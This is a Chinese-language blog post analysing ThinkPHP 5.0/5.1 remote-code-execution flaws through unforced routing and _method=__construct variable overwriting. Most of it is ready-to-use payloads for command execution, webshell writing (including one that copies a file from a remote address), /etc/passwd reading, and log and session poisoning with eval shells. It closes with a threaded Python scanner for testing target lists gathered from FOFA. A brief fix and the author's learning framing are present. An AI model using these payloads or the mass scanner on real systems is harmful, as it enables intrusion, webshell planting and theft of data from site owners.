• ThinkPhp之Rce分析


     
    之前只是学会如何去利用,但是没有掌握这个漏洞的原理,因此这里复现一下这个漏洞,并且总结出一些利用方法
     
    Thinkphp有两大版本的区别
     

    ThinkPHP 5.0-5.0.24
    ThinkPHP 5.1.0-5.1.30
    

     
    5.0.x
     

    ?s=index/thinkconfig/get&name=database.username // 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    // 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     // 包含任意.php文件
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
    

     
    5.1.x
     

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

     
    这些都是因为PHP未开启强制路由造成的,还有一种是利用变量覆盖达到命令执行的目的
     

    http://php.local/thinkphp5.0.5/public/index.php?s=index
    post
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    _method=__construct&filter[]=system&method=GET&get[]=whoami
    
    # ThinkPHP <= 5.0.13
    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system
    
    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
    
    # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
    POST /?s=xxx HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
    

     
    下面会分逐一析一下
     

    未开启强制路由命令执行

     
    常见Paylaod如
     

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

     
    首先 ThinkPhp默认开启了路由的兼容模式
     

     
    那么在路由未过滤的情况下,我们就可以调用任意函数,因此就造成我们前面的命令执行
     
    例如 thinkviewdriverPhp 中的 display 方法
     

     
    我们传入一个 content就可以代码执行了
     

     
    我们在 App.php 的解析路由中下个断点
     

     
    这里面在前面实例化了 request 然后调用 routeCheck
     
    跟进一下
     

     
    首先通过 path() 方法获取我们传入的路径()
     

     
    没有过滤
     

     
    接着在进入路由检测
     

     
    其实就是把 / 变为 |
     

     
    之后再进入 parseUrl


     

     
    / 换为 |
     
    在进入 parseUrlPath
     

     
    根据 | 取出,模块 控制器 操作 以及参数
     

     
    最后可以看见调用了我们想利用的控制器
     
    使用 hinkviewdriverThink
     
    后面测试这个也可以
     

    ?s=index/	hinkviewdriverThink/display&template=<?php%20phpinfo();?>
    

     

    利用扩展

    命令执行

     
    既然我们可以控制了调用这些控制器,那么我们才总结一下有哪些可用的GetShell的方法吧
     
    使用 hinkviewdriverPhp

     

     
    直接执行Php代码
     

    ?s=index/	hinkviewdriverPhp/display&content=<?php%20phpinfo();?>
    

     

     
    使用 hinkApp
     

     
    这个类中的 invokeFunction 方法可以任意函数执行
     

    ?s=/index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
    

     

     
    使用 hinkRequest
     
    看师傅们的文章这个类中的 input 函数可以执行任意函数
     
    我看了下我的环境,发现不可以(应该是环境问题)
     

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    

     
    使用 hinkContainer
     
    我这边环境没这个类
     

    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    写Webshell

     
    使用 hinkapp 写Shell
     
    可以命令执行就可以写了~
     

    ?s=/index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
    

     
    使用 hink emplatedriverfile
     

     
    直接写Shell
     

    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    

     
    使用 hinkviewdriverThink
     
    利用模板生成Shell
     

    ?s=index/	hinkviewdriverThink/display&template=<?php phpinfo();?>  
    
    shell位于runtime/temp/md5(template的值).php
    

     

     
    并且这个也可以执行命令
     

    其他利用

    5.0.x
    ?s=index/	hinkconfig/get&name=database.username // 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    // 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     // 包含任意.php文件
    

     
    第一个使用 hinkconfig 获取配置信息
     

     

     

     

     
    第二个任意文件包含利用的是 hinkLang
     

    ?s=index/	hinkLang/load&file=./shell.php
    

     

     
    此函数有多种利用方式,不限于代码执行、反序列化
     
    任意文件读取
     

    http://host-5/index.php?s=index/	hinkLang/load&file=file:///etc/passwd
    

     
    若是不包含php的话直接利用此方法读取文件
     

     
    暂时就测试了只有File协议可用,其他的应该会被过滤
     

     
    第三个包含任意Php文件利用 hinkConfig
     

     
    验证了后缀名
     
     

    ?s=index/	hinkConfig/load&file=./shell.php
    

     

    修复方式

    // 获取控制器名
    $controller = strip_tags($result[1] ?: $config['default_controller']);
    
    if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }
    

     
    使用正则获取控制器
     

    小小总结

     
    关于Thinkphp路由的利用就到这里面了,其实分析的并不是很好,因为这个框架我没有多去了解他,甚至有一些地方是断章取义的,但是这些只是作为本人学习和记录,望大家谅解.

    还有就是利用方法的改变,对于现在直接RCE的机会不大,一般都是去文件包含等日志,反序列化等,文末后面会记录一下
     

    method __contruct导致的RCE

     
    简单的测试一下
     

     
    首先现在 hinkRequest.php 中下断点
     

     
    这里面存在变量覆盖,就是将 $this->method 的值覆盖为我们传入的值
     

     
    我们看一下 var_method 的值
     

     
    并且后面我还可以用这个调用此类的任意函数
     

     
    Payload里面选择的函数是此类的构造函数
     

     
    这里面存在覆盖,我们可以将此类中的任意属性替换掉
     

     
    这个是 Payload 构造的
     
    但是这个会在什么时候被调用呢?
     
    App.php 中,若开启了Debug,会调用 param() 方法
     

     

    调用 Method() 方法
     
    Method就是我们可以覆盖变量的方法
     
    跟进 Server()
     

     
    调用 input ,这里面有两个参数可控
     
    跟进
     

     
    调用 filterValue ,且1 3参数可控
     

     
    最后达到命令执行
     

    ?s=captcha
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
    

     
    有很多不懂的地方,我这里面只是断章取义的理解,勿喷
     

     
    每个版本的利用方法可以参考
     
    https://y4er.com/post/thinkphp5-rce/
     

    ThinkPhp的多种利用方式

    写Shell进日志

    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
    
    写入的日志位于 runtime/log/202011/07.log  //根据日期决定
    
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202011/07.log&x=phpinfo();
    

     

    包含Session

    写入Session
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
    
    包含
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_kking&x=phpinfo();
    
    
    //kking改为你的session的ID
    

     

     
    参考这个大佬的
     
    https://xz.aliyun.com/t/6106

    批量检测脚本

     
    既然分析完了,就来写个批量的分析脚本试试看吧
     
    分析通用型
     
    因为是扫描器所以我们需要选择一个稳定的 Payload(最好很多版本都可用的),这里面我选择的是 hinkapp 里面的 invokefunction 函数
     
    分析实战性
     
    实战中一般有很大的可能会遇到 宝塔 或者其他waf设备,因此不适用于命令执行、代码执行直接验证
     
    我这里面使用Var_dump验证
     

    ?s=index/	hinkapp/invokefunction&function=var_dump&vars[0]=this%20a%20test
    

     
    这个是针对于未开启强制路由的,接下来我们换成变量覆盖的试试
     

     

    ?s=captcha
    
    _method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0
    

     
    接下来就来写脚本了,下面是写的测试脚本,支持url以及文件
     

    Argument is lose
    Example: xx.py -u url
    Example: xx.py -f 1.txt
    
    #coding=utf-8
    
    from argparse import ArgumentParser,FileType
    import sys
    import requests
    from queue import  Queue
    from threading import  Thread
    import warnings
    warnings.filterwarnings("ignore")
    proxies={
        'http':"http://127.0.0.1:8088",
    }
    pocurl="/index.php?s=index/\think\app/invokefunction&function=var_dump&vars[0]=aa623a8a2a34729b095ffaf5b48d48b0"
    postdata={
        "_method":"__construct",
        "filter[]":"var_dump",
        "method":"get",
        "server[REQUEST_METHOD]":"aa623a8a2a34729b095ffaf5b48d48b0"
    }
    
    def worker(q):
        while True:
            try:
                data=q.get()
                workerone(data)
            except Exception as e:
                pass
            finally:
                q.task_done()
        pass
    
    def workerone(url):
        if "http" not in url:
            url="http://"+url
        url2=str(url).replace("index.php","")+pocurl
        url1=str(url).replace("index.php","")+"/index.php?s=captcha"
        verity1=requests.get(url2,timeout=15, verify=False)
        if "aa623a8a2a34729b095ffaf5b48d48b0" in verity1.text:
            print(url+"Exist vuln,
    payload:"+url)
        verity2=requests.post(url1,data=postdata,timeout=15, verify=False)
        if "aa623a8a2a34729b095ffaf5b48d48b0" in verity2.text:
            print(url+" Exist vuln
    payload:?s=captcha
    _method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0")
    def main():
        if len(sys.argv) < 3:
            print("Argument is lose")
            print("Example: xx.py -u url
    Example: xx.py -f 1.txt")
            exit(0)
        if sys.argv[1] == "-u":
            workerone(sys.argv[2])
        if sys.argv[1]=="-f":
            file=open(str(sys.argv[2]))
            q=Queue(20)
            for _ in range(20):
                t=Thread(target=worker,args=(q,))
                t.start()
            for line in file.readlines():
                line=line.strip()
                q.put(line)
            q.join()
    
    if __name__=='__main__':
        main()
    

     
    再配合fofa批量查询
     

     
    不过因为这个漏洞很久了,因此效果不是很理想
     

    参考

     
    https://y4er.com/post/thinkphp5-rce/
    https://github.com/Mochazz/ThinkPHP-Vuln
    https://xz.aliyun.com/t/6106
     

  • 相关阅读:
    脚本(js)控制页面输入
    Javascript小技巧(6)
    解析 XML
    防止用户不输入正确用户名,密码登陆
    Javascript小技巧(5)
    自己想了一下为什么在ajax方法里找不到服务器控件
    Javascript小技巧(4)
    C#后台绑事件 和前台js方法
    Community Server专题九:MemberRole之Profile(转载)
    Community Server专题六:Delegates & Events(转载)
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/ThinkPhp-zhiRce-fen-xi.html
Copyright © 2020-2023  润新知